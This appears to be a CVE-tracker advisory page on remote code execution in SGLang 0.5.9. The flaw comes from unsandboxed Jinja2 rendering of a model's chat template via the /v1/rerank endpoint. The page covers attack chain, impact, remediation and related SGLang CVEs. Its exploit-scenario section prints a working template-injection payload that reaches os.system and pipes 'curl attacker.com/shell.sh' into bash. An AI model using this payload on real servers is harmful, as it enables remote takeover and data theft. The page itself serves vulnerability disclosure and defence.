Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious model file with Jinja2 payload
-
DeliveryUpload/inject model into SGLang instance
-
ExploitTrigger /v1/rerank endpoint request
-
ExecutionUnsandboxed template rendering executes code
-
PersistEstablish remote shell as SGLang process user
-
ImpactExfiltrate data or pivot to internal systems
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the target SGLang 0.5.9 instance to load and process a model file containing attacker-controlled tokenizer.chat_template data. This occurs when SGLang is configured to: accept model uploads via API endpoints, automatically fetch models from public model hubs (HuggingFace, ModelScope) without integrity verification, or ingest models from CI/CD artifacts controlled by untrusted sources. The /v1/rerank endpoint must be accessible to trigger template rendering, but authentication is NOT required (PR:N in CVSS vector). Exploitation succeeds against default configurations if model sourcing permits external input. Limiting factors: deployments using only pre-vetted internal models from cryptographically signed repositories are NOT vulnerable; network isolation preventing inbound connections to /v1/rerank blocks remote exploitation; file integrity monitoring detecting unauthorized model file modifications may alert defenders before exploitation completes. |
| Impact | This vulnerability represents CRITICAL real-world risk requiring immediate attention. The CVSS 9.8 score accurately reflects severity with complete attack chain accessibility: network-accessible vector (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and total compromise potential (C:H/I:H/A:H). SSVC framework confirms 'automatable' exploitation with 'total' technical impact, indicating attackers can develop reliable exploits without manual intervention. Public POC existence (GitHub repository by Stuub demonstrating exploitation) significantly lowers attacker entry barrier. However, practical exploitation requires the victim SGLang instance to load attacker-controlled model files-this dependency makes the attack realistic in environments accepting models from untrusted sources (public model hubs, user uploads, CI/CD pipelines ingesting external artifacts) but less relevant for hardened deployments using only vetted internal models. No KEV listing suggests targeted rather than widespread exploitation campaigns at analysis time. The combination of unauthenticated remote access, proven exploitability, and code execution severity makes this a top remediation priority for any SGLang deployment exposed to external networks or untrusted model sources. |
| Exploit ScenarioDerived | An attacker identifies an internet-exposed SGLang 0.5.9 instance accepting model uploads or configured to fetch models from public repositories. The attacker crafts a malicious model file with a tokenizer.chat_template containing Jinja2 template injection payload such as {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system('curl attacker.com/shell.sh|bash')}}. When the SGLang server loads this model and processes a reranking request via /v1/rerank, the unsandboxed Jinja2 environment executes the embedded Python code, establishing a reverse shell with full privileges of the SGLang process. Public POC code (https://github.com/Stuub/SGLang-0.5.9-RCE) demonstrates practical exploitation technique. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 20, 2026
Remote code execution in SGLang 0.5.9's /v1/rerank endpoint allows unauthenticated attackers to execute arbitrary code by loading specially crafted model files with malicious Jinja2 templates. The vulnerability stems from unsandboxed rendering of tokenizer.chat_template fields, enabling template injection attacks. Publicly available exploit code exists (GitHub POC by Stuub). With CVSS 9.8 (AV:N/AC:L/PR:N/UI:N) and SSVC ratings of automatable with total technical impact, this represents critical risk for exposed SGLang deployments handling untrusted model files.
RemediationAI
Upgrade SGLang to a patched version that implements sandboxed Jinja2 template rendering using jinja2.sandbox.SandboxedEnvironment instead of the unsecured jinja2.Environment. Consult the SGLang project GitHub repository and CERT/CC advisory (https://www.kb.cert.org/vuls/id/915947) for specific patched release versions addressing CVE-2026-5760. If immediate patching is not feasible, implement compensating controls: restrict model file sources to cryptographically verified internal repositories only, rejecting all external or user-uploaded models; implement network segmentation to isolate SGLang instances from untrusted networks; disable the /v1/rerank endpoint if not operationally required by modifying SGLang configuration to remove reranking functionality; deploy application firewalls to inspect and block HTTP requests to /v1/rerank containing suspicious Jinja2 template syntax ({{ }}, {% %} patterns), though this risks false positives and bypass via encoding. Note that network restrictions only mitigate external exploitation-malicious insiders or compromised CI/CD pipelines can still exploit the vulnerability by introducing crafted model files. Full remediation requires upgrading to a version with secure template handling.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
SGLang is a language model serving framework that implements OpenAI-compatible API endpoints. The /v1/rerank endpoint processes model files containing tokenizer configurations, including Jinja2-formatted chat_template fields used to format conversation inputs. The vulnerability exploits CWE-94 (Improper Control of Generation of Code) by leveraging Python's jinja2.Environment() without sandboxing protections. When SGLang loads a model file with a malicious chat_template, the Jinja2 template engine executes embedded Python expressions server-side. Unlike sandboxed Jinja2 environments (which use jinja2.sandbox.SandboxedEnvironment), the unsandboxed implementation allows arbitrary attribute access and method invocation, enabling attackers to call system functions, import modules, or execute shell commands through template injection payloads. The affected CPE (cpe:2.3:a:sglang:sglang) identifies the SGLang project's core serving component, with EUVD confirming version 0.5.9 specifically vulnerable.
Know when Sglang gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
SGLang's reranking endpoint (/v1/rerank) achieves Remote Code Execution (RCE) when a model file containing a malcious tokenizer.chat_template is loaded, as the Jinja2 chat templates are rendered using an unsandboxed jinja2.Environment().
Executive ViewAI
SGLang versions up to 0.5.9 contain a critical remote code execution vulnerability in the reranking endpoint that allows unauthenticated attackers to execute arbitrary code by uploading malicious model files. Any organization running exposed SGLang instances for inference or reranking operations faces immediate risk of complete system compromise without vendor mitigation available.
Implement strict network segmentation-restrict /v1/rerank endpoint access to internal, authenticated requests only via firewall or API gateway; disable dynamic model loading from external sources; require administrative approval for all model file uploads; conduct code review of tokenizer.chat_template fields in existing models before use; run SGLang in isolated containers with minimal privileges and resource limits; monitor for suspicious process execution and file access patterns on SGLang hosts.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Missing authorization on SGLang's POST /load_lora_adapter_from_tensors HTTP endpoint lets any client that can reach the
Unauthenticated remote attackers can crash the SGLang inference server (versions up to and including 0.5.19) by calling
Remote code execution in SGLang (versions up to and including 0.5.15) allows unauthenticated attackers to run arbitrary
SGLang's multimodal generation module deserializes untrusted data with pickle.loads() over an unauthenticated ZMQ broker
SGLang's encoder parallel disaggregation system is vulnerable to unauthenticated RCE through pickle deserialization in t
Unauthenticated remote code execution in SGLang (the LLM/multimodal generation serving runtime) affecting version 5.10 a
Remote code execution in SGLang (versions up to and including 0.5.15) allows attackers to run arbitrary code on the infe
Remote code execution in SGLang AI inference servers allows unauthenticated attackers to run arbitrary code through the
Remote code execution in SGLang (versions ≤ v0.5.15) allows attackers to achieve arbitrary code execution through the op
Unauthenticated remote code execution affects SGLang, an LLM/multimodal inference-serving framework, at version 5.10, wh
Unauthenticated remote code execution in SGLang versions through v0.5.20 arises from unsafe pickle deserialization in th
Unauthenticated remote code execution in SGLang 0.5.11 through 0.5.14 occurs when the multimodal generation runtime is l
EUVD-2026-23860
GHSA-2wm4-697g-pfq8
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB